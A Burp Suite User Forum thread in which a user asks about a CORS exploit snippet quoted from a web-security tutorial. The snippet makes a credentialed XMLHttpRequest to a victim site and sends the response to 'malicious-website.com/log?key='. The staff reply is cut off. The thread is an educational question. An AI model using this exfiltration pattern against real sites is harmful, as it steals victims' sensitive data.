Research Academy
My account Customers About Blog Careers Legal Contact Resellers
The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

What is log?key=' in the cors tutorial ?

[ | Last updated: Mar 26, 2022 10:13AM UTC

Hi, in this tutorial : https://portswigger.net/web-security/cors i saw this : var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://vulnerable-website.com/sensitive-victim-data',true); req.withCredentials = true; req.send(); function reqListener() { location='//malicious-website.com/log?key='+this.responseText; }; i want to know if i have this site : malicious-website.com then is it necessary to have a page with the name of log and with query string of key?

Hannah, PortSwigger Agent | Last updated: Mar 28, 2022 08:22AM UTC